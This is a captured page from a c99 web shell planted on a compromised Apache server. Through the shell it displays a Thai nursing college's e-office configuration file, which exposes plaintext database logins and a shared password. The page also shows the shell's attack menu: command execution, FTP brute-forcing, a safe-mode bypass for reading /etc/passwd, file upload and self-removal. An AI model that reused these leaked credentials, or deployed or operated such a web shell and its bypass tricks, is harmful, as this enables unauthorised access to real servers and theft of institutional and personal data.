!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/eoffice_b/info/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     infosys_global.php (14.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 *--------------> Begin: Editable zone <----------------
 */

//
// System data
//

/* System path */
//$ROOT_PATH = "/var/www/html/eoffice/";
$ROOT_PATH "c:/WM/www/eoffice/";
$ROOT_URL "/eoffice/";
$ADMIN_LOGIN "admin";

/* Database info */
$DBHOST "localhost";
$DBUSER "eoffice";
$DBPASS "45530577";

$DBNAME_UMS "umseo";
$DBUSER_UMS "eoffice";
$DBPASS_UMS "45530577";


$DBNAME_EPERSON "people";
$DBUSER_EPERSON "eoffice";
$DBPASS_EPERSON "45530577";


$DBNAME_EOFFICE "eopbri";
$DBUSER_EOFFICE "eoffice";
$DBPASS_EOFFICE "45530577";


$INFOSYS_MESG "ระบบสารสนเทศ";
$SYSTEM_TITLE ""// To set system-title, modifies this variable at current script.
$SYSTEM_DETAIL "";
$INFOSYS_TITLE "ระบบสารสนเทศ - วิทยาลัยพยาบาลบรมราชชนนี สรรพสิทธิประสงค์"// default system-title
$INFOSYS_LOGO "scphkk_logo22.jpg"// default = infosyslogo.jpg, logo-path = ${ROOT_PATH}info/img/
$GREETING_MESG "ยินดีต้อนรับเข้าสู่ระบบสารสนเทศ";
/*
 *--------------> End: Editable zone <----------------
 */


/*
 *--------------> Begin: Read-only zone <---------------
 */
$SYS_INDEX "infosys.php";
$HOST_NAME $_SERVER["HTTP_HOST"];
$_PROTOCOL = (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) == "on") ? "https://" "http://";
$_INFO_PATH "${ROOT_PATH}info/";
$_CLASS_PATH "${ROOT_PATH}class/";
$_UMS_PATH "${ROOT_PATH}ums/";
$_INFO_URL "${ROOT_URL}info/";
$_CLASS_URL "${ROOT_URL}class/";
$_INFO_INDEX $HOST_NAME $_INFO_URL $SYS_INDEX;

$_MOD_PATH "${_INFO_PATH}mod/";
$_TPL_PATH "${_INFO_PATH}tpl/";
$_IMG_URL "${_INFO_URL}img/";
/*
 *--------------> End:   Read-only zone <---------------
 */


/*
 *--------------> Begin: Editable zone <----------------
 */
/* Subsystem path */
//$_EOFFICE_PATH = "${ROOT_PATH}eoffice/";
$_EPERSON_PATH "${ROOT_PATH}eperson/";
$_EBUDGET_PATH "${ROOT_PATH}ebudget/";
$_ESALARY_PATH "${ROOT_PATH}esalary/";
$_EPASSESS_PATH "${ROOT_PATH}epassess/";
$_EREGIS_PATH "${ROOT_PATH}eregis/";
$_INFOADDIN_PATH "${ROOT_PATH}infoaddin/";
$_EASSESS_PATH "${ROOT_PATH}eassess/";
$_EOFFICE_PATH "${ROOT_PATH}eoffice/";

/* Subsystem URL */
$_UMS_URL "${ROOT_URL}ums/";
//$_EOFFICE_URL = "${ROOT_URL}eoffice/";
$_EPERSON_URL "${ROOT_URL}eperson/";
$_EBUDGET_URL "${ROOT_URL}ebudget/";
$_ESALARY_URL "${ROOT_URL}esalary/";
$_EPASSESS_URL "${ROOT_URL}epassess/";
$_EREGIS_URL "${ROOT_URL}eregis/";
$_INFOADDIN_URL "${ROOT_URL}infoaddin/";
$_EASSESS_URL "${ROOT_URL}eassess/";
$_EOFFICE_URL "${ROOT_URL}eoffice/";

/*
 * System id mapping
 *      1 = ums, 2 = eoffice, 3 = ebudget, 4 = eperson, 5 = esalary,
 *      6 = epassess, 7 = eregis, 8 = add-in utilities, 9 = eassess
 */

$_SYSDIR_PATH = array(=> $_UMS_PATH,
                      
//2 => $_EOFFICE_PATH,
                      
=> $_EBUDGET_PATH,
                      
=> $_EPERSON_PATH,
                      
=> $_ESALARY_PATH,
                      
=> $_EPASSESS_PATH,
                      
=> $_EREGIS_PATH,
                      
=> $_INFOADDIN_PATH,
                      
=> $_EASSESS_PATH,
                      
10 => $_EOFFICE_PATH
                
);
$_SYSURL_PATH = array(=> "${_UMS_URL}",
                      
//2 => "${_EOFFICE_URL}",
                      
=> "${_EBUDGET_URL}",
                      
=> "${_EPERSON_URL}",
                      
=> "${_ESALARY_URL}",
                      
=> "${_EPASSESS_URL}",
                      
=> "${_EREGIS_URL}",
                      
=> "${_INFOADDIN_URL}",
                      
=> "${_EASSESS_URL}",
                      
10 => "${_EOFFICE_URL}"
                
);

$_SUBSYS_URL  = array(=> array(1  => ""
                           
),    // --- UMS ---
/*
                      2 => array(10 => "${_EOFFICE_URL}mod/",
                                 11 => "${_EOFFICE_URL}mod/",
                                 12 => "${_EOFFICE_URL}mod/",
                                 13 => "${_EOFFICE_URL}mod/",
                                 14 => "${_EOFFICE_URL}mod/",
                                 15 => "${_EOFFICE_URL}mod/",
                                101 => "${_EOFFICE_URL}mod/"
                           ),    // --- EOFFICE ---
*/
                      
=> array(20 => "${_EBUDGET_URL}code/",
                                 
21 => "${_EBUDGET_URL}code/",
                                 
22 => "${_EBUDGET_URL}code/",
                                 
23 => "${_EBUDGET_URL}code/",
                                 
24 => "${_EBUDGET_URL}code/",
                                 
25 => "${_EBUDGET_URL}code/",
                                 
26 => "${_EBUDGET_URL}code/",
                                 
27 => "${_EBUDGET_URL}code/",
                                 
28 => "${_EBUDGET_URL}code/",
                                 
29 => "${_EBUDGET_URL}code/",
                                 
30 => "${_EBUDGET_URL}code/",
                                 
31 => "${_EBUDGET_URL}code/",
                                 
98 => "${_EBUDGET_URL}code/"
                           
),    // --- EBUDGET ---

                      
=> array(40 => "${_EPERSON_URL}officer/",
                                 
41 => "${_EPERSON_URL}money/",
                                 
42 => "${_EPERSON_URL}officer/",
                                 
43 => "${_EPERSON_URL}admin/",
                                 
44 => "${_EPERSON_URL}officer/",
                                 
99 => "${_EPERSON_URL}admin/"
                           
),     // --- EPERSON ---
                      
=> array(50 => "${_ESALARY_URL}admin/"
                           
),     // --- ESALARY ---
                      
=> array(60 => "${_EPASSESS_URL}admin/",
                                 
61 => "${_EPASSESS_URL}mstaff/",
                                 
62 => "${_EPASSESS_URL}staff/",
                                 
85 => "${_EPASSESS_URL}admin/",
                                
102 => "${_EPASSESS_URL}admin/"
                           
),     // --- EPASSESS ---
                      
=> array(70 => "${_EREGIS_URL}admin/",
                                 
71 => "${_EREGIS_URL}teacher/",
                                 
72 => "${_EREGIS_URL}student/",
                                 
73 => "${_EREGIS_URL}admin/",
                                 
74 => "${_EREGIS_URL}admin/",
                                 
75 => "${_EREGIS_URL}admin/",
                                 
76 => "${_EREGIS_URL}admin/",
                                 
94 => "${_EREGIS_URL}admin/",
                                 
95 => "${_EREGIS_URL}admin/",
                                
100 => "${_EREGIS_URL}admin/"
                           
),     // --- EREGIS ---
                      
=> array(80 => "${_INFOADDIN_URL}announce/",
                                 
81 => "${_INFOADDIN_URL}onlinedocs/code/",
                                 
82 => "${_INFOADDIN_URL}appointment/"
                           
),     // --- INFO-ADDIN ---
                      
=> array(90 => "${_EASSESS_URL}admin/",
                                 
91 => "${_EASSESS_URL}student/",
                                 
92 => "${_EASSESS_URL}teacher/",
                                 
93 => "${_EASSESS_URL}admin/",
                                 
96 => "${_EASSESS_URL}admin/",
                                 
97 => "${_EASSESS_URL}admin/"
                           
),     // --- EASSESS ---
                    
10 => array(107 => "${_EOFFICE_URL}admin/",
                                 
108 => "${_EOFFICE_URL}admin/",
                                 
109 => "${_EOFFICE_URL}admin/",
                                 
110 => "${_EOFFICE_URL}admin/",
                                 
111 => "${_EOFFICE_URL}admin/",
                                 
112 => "${_EOFFICE_URL}admin/",
                                 
114 => "${_EOFFICE_URL}admin/",
                                 
115 => "${_EOFFICE_URL}admin/"                                 
                           
)     // --- EOFFICE ---       
                
);

$_SYS1ST_URL  = array(=> array(1  => ""
                           
),    // --- UMS ---
/*
                      2 => array(10 => "eoffice.php",    
                                 11 => "eoffice.php",
                                 12 => "eoffice.php",
                                 13 => "eoffice.php",
                                 14 => "eoffice.php",
                                 15 => "eoffice.php",
                                101 => "eoffice.php"
                           ),    // --- EOFFICE ---
*/
                      
=> array(20 => "sarabanIndex.php",
                                 
21 => "sarabanIndex.php",
                                 
22 => "sarabanIndex.php",
                                 
23 => "sarabanIndex.php",
                                 
24 => "sarabanIndex.php",
                                 
25 => "sarabanIndex.php",
                                 
26 => "sarabanIndex.php",
                                 
27 => "sarabanIndex.php",
                                 
28 => "sarabanIndex.php",
                                 
29 => "sarabanIndex.php",
                                 
30 => "sarabanIndex.php",
                                 
31 => "sarabanIndex.php",
                                 
98 => "sarabanIndex.php"
                           
),    // --- EBUDGET ---

                      
=> array(40 => "officerIndex.php",
                                 
41 => "moneyIndex.php",
                                 
42 => "officerIndex.php",
                                 
43 => "index.php",
                                 
44 => "officerIndex.php",
                                 
99 => "adminIndex.php"
                           
),     // --- EPERSON ---
                      
=> array(50 => "adminIndex.php"
                           
),     // --- ESALARY ---
                      
=> array(60 => "adminindex.php",
                                 
61 => "adminindex.php",
                                 
62 => "adminindex.php",
                                 
85 => "adminindex.php",
                                
102 => "adminindex.php"
                           
),     // --- EPASSESS ---
                      
=> array(70 => "adminIndex.php",
                                 
71 => "teacherIndex.php",
                                 
72 => "studentIndex.php",
                                 
73 => "adminIndex.php",
                                 
74 => "adminIndex.php",
                                 
75 => "adminIndex.php",
                                 
76 => "adminIndex.php",
                                 
94 => "adminIndex.php",
                                 
95 => "adminIndex.php",
                                
100 => "adminIndex.php"
                           
),     // --- EREGIS ---
                      
=> array(80 => "index.php",
                                 
81 => "onlinepublicdocview.php",
                                 
82 => "index.php"
                           
),     // --- INFO-ADDIN ---
                      
=> array(90 => "index.php",
                                 
91 => "index.php",
                                 
92 => "index.php",
                                 
93 => "index.php",
                                 
96 => "index.php",
                                 
97 => "index.php"
                           
),    // --- EASSESS ---
                    
10 => array(107 => "index.php",
                                 
108 => "index.php",
                                 
109 => "index.php",
                                 
110 => "index.php",
                                 
111 => "index.php",
                                 
112 => "index.php",
                                 
114 => "selectDocPost.php",
                                 
115 => "index.php"
                           
)     // --- EOFFICE2 ---
                
);

$_SYS1ST_NAME = array("หน้าแรก""หน้าเริ่มต้น");
$_SYSLNK_SKIP = array("ออกจากระบบ""เปลี่ยนรหัสผ่าน");

$_SYSICO_MINI = array(=> "${_INFO_URL}img/admin-mini.gif",
                     
// 2 => "${_INFO_URL}img/eoffice-mini.gif",
                      
=> "${_INFO_URL}img/ebudget-mini.gif",
                      
=> "${_INFO_URL}img/eperson-mini.gif",
                      
=> "${_INFO_URL}img/esalary-mini.gif",
                      
=> "${_INFO_URL}img/epassess-mini.gif",
                      
=> "${_INFO_URL}img/eregis-mini.gif",
                      
=> "${_INFO_URL}img/addin-mini.gif",
                      
=> "${_INFO_URL}img/eassess-mini.gif",
                      
10 => "${_INFO_URL}img/eoffice-mini.gif"
                
);
$_SYSICO_BIGZ = array(=> "${_INFO_URL}img/admin-large.gif",
                     
// 2 => "${_INFO_URL}img/eoffice-large.gif",
                      
=> "${_INFO_URL}img/ebudget-large.gif",
                      
=> "${_INFO_URL}img/eperson-large.gif",
                      
=> "${_INFO_URL}img/esalary-large.gif",
                      
=> "${_INFO_URL}img/epassess-large.gif",
                      
=> "${_INFO_URL}img/eregis-large.gif",
                      
=> "${_INFO_URL}img/addin-large.gif",
                      
=> "${_INFO_URL}img/eassess-large.gif",
                      
10 => "${_INFO_URL}img/eoffice-large.gif"
                
);


$_CONFIG_TITLE "ตั้งค่าการใช้งาน";
$_CONFIG_MOD = array(array("sys_name" => "เปลี่ยนรหัสผ่าน",
                           
"sys_modn" => "- ทุกกลุ่มผู้ใช้ -",
                           
"sys_link" => "${_INFO_URL}infosys.php?__m=config&__sb=chpasswd")
                );


$_ADDIN_DISABLED false// $_ADDIN_DISABLED = false, force Addin-Tools available for all user.
$_ADDIN_BLOG 8;
$_INFOADMIN_GPID 83;
$_ADDIN_WGOWNER = array(1935 => 82,
                        
1936 => 81,
                        
1937 => 80
                  
);
$_ADDIN_RESTRICT = array(82 => false,
                         
81 => false,
                         
80 => false
                   
);

// Begin:
// Fixed bugs or depend on user-requirement.

// auto display sub-system as groups
$_FIXED_VIEW_GROUP_START 1;

// End:
// Fixed bugs or depend on user-requirement.

//
// System option
//
$SECURE_LOG false// Use https protocol for submits signed-on data set $SECURE_LOG = true.
$DEBUG_MODE true;  // Test phase $DEBUG_MODE = true
/*
 *--------------> End: Editable zone <----------------
 */
 // Note: Use $_SESSION["ITEM_LINK"] variable for back to last menu.
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0185 ]--